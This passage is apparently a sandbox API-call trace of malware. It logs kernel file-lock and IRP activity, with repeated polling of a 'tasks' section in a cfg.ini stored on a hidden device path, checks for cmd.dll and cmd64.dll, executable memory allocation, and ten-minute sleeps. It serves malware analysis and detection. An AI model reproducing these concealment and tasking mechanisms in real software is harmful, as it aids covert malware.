(in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.741] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.741] IdePortDispatch () returned 0x103 [0117.741] KeWaitForMutexObject () returned 0x0 [0117.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.742] KeLeaveCriticalRegion () [0117.742] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.742] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.742] KeEnterCriticalRegion () [0117.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.742] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.742] KeLeaveCriticalRegion () [0117.743] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.743] KeEnterCriticalRegion () [0117.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.743] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.743] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6e60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.743] KeLeaveCriticalRegion () [0117.743] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.743] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.743] KeEnterCriticalRegion () [0117.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.743] ExFreePoolWithTag (P=0xfffffa8003aa6da0, Tag=0x0) [0117.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.743] KeLeaveCriticalRegion () [0117.743] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.743] ReleaseMutex (hMutex=0xf0) returned 1 [0117.743] Sleep (dwMilliseconds=0x927c0) [0117.762] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.762] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.762] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.762] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.762] KeEnterCriticalRegion () [0117.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.762] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.762] IdePortDispatch () returned 0x103 [0117.763] KeWaitForMutexObject () returned 0x0 [0117.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.763] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.763] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.763] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.763] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.763] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800381bf60 [0117.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.763] KeLeaveCriticalRegion () [0117.763] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.763] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.763] KeEnterCriticalRegion () [0117.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.763] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.763] KeLeaveCriticalRegion () [0117.763] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.763] KeEnterCriticalRegion () [0117.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.763] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.763] IdePortDispatch () returned 0x103 [0117.764] KeWaitForMutexObject () returned 0x0 [0117.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.764] KeLeaveCriticalRegion () [0117.764] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.764] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.764] KeEnterCriticalRegion () [0117.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.764] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfe000 [0117.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.764] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.764] IdePortDispatch () returned 0x103 [0117.764] KeWaitForMutexObject () returned 0x0 [0117.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.764] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.764] IdePortDispatch () returned 0x103 [0117.765] KeWaitForMutexObject () returned 0x0 [0117.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.765] KeLeaveCriticalRegion () [0117.765] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.765] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.765] KeEnterCriticalRegion () [0117.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.765] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.765] KeLeaveCriticalRegion () [0117.766] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.766] KeEnterCriticalRegion () [0117.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.766] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.766] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6e60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.766] KeLeaveCriticalRegion () [0117.766] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.766] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.766] KeEnterCriticalRegion () [0117.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.766] ExFreePoolWithTag (P=0xfffffa800381bf60, Tag=0x0) [0117.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.766] KeLeaveCriticalRegion () [0117.766] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.766] ReleaseMutex (hMutex=0xf0) returned 1 [0117.766] Sleep (dwMilliseconds=0x927c0) [0117.775] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.775] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.780] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.780] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.780] KeEnterCriticalRegion () [0117.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.780] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.780] IdePortDispatch () returned 0x103 [0117.781] KeWaitForMutexObject () returned 0x0 [0117.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.781] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.781] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.781] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.781] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.781] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.781] KeLeaveCriticalRegion () [0117.781] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.781] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.781] KeEnterCriticalRegion () [0117.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.781] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.782] KeLeaveCriticalRegion () [0117.782] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.782] KeEnterCriticalRegion () [0117.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.782] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.782] IdePortDispatch () returned 0x103 [0117.782] KeWaitForMutexObject () returned 0x0 [0117.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.782] KeLeaveCriticalRegion () [0117.782] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.782] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.782] KeEnterCriticalRegion () [0117.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.782] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d22000 [0117.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.782] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.782] IdePortDispatch () returned 0x103 [0117.783] KeWaitForMutexObject () returned 0x0 [0117.783] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.783] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.783] IdePortDispatch () returned 0x103 [0117.783] KeWaitForMutexObject () returned 0x0 [0117.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.783] KeLeaveCriticalRegion () [0117.783] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.784] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.784] KeEnterCriticalRegion () [0117.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.784] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.784] KeLeaveCriticalRegion () [0117.784] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.784] KeEnterCriticalRegion () [0117.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.784] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.784] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.784] KeLeaveCriticalRegion () [0117.784] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.784] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.784] KeEnterCriticalRegion () [0117.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.784] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.784] KeLeaveCriticalRegion () [0117.784] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.784] ReleaseMutex (hMutex=0xf0) returned 1 [0117.784] Sleep (dwMilliseconds=0x927c0) [0117.795] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.795] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.795] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.795] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.795] KeEnterCriticalRegion () [0117.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.795] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.795] IdePortDispatch () returned 0x103 [0117.796] KeWaitForMutexObject () returned 0x0 [0117.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.796] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.796] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.796] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.796] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.796] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6cf0 [0117.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.796] KeLeaveCriticalRegion () [0117.796] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.796] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.796] KeEnterCriticalRegion () [0117.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.796] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.796] KeLeaveCriticalRegion () [0117.796] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.796] KeEnterCriticalRegion () [0117.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.796] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.796] IdePortDispatch () returned 0x103 [0117.797] KeWaitForMutexObject () returned 0x0 [0117.797] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.797] KeLeaveCriticalRegion () [0117.797] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.797] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.797] KeEnterCriticalRegion () [0117.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.797] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d25000 [0117.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.797] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.797] IdePortDispatch () returned 0x103 [0117.797] KeWaitForMutexObject () returned 0x0 [0117.797] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.797] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.797] IdePortDispatch () returned 0x103 [0117.798] KeWaitForMutexObject () returned 0x0 [0117.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.798] KeLeaveCriticalRegion () [0117.798] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.798] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.798] KeEnterCriticalRegion () [0117.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.798] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.798] KeLeaveCriticalRegion () [0117.799] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.799] KeEnterCriticalRegion () [0117.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.799] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.799] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.799] KeLeaveCriticalRegion () [0117.799] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.799] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.799] KeEnterCriticalRegion () [0117.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.799] ExFreePoolWithTag (P=0xfffffa8003aa6cf0, Tag=0x0) [0117.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 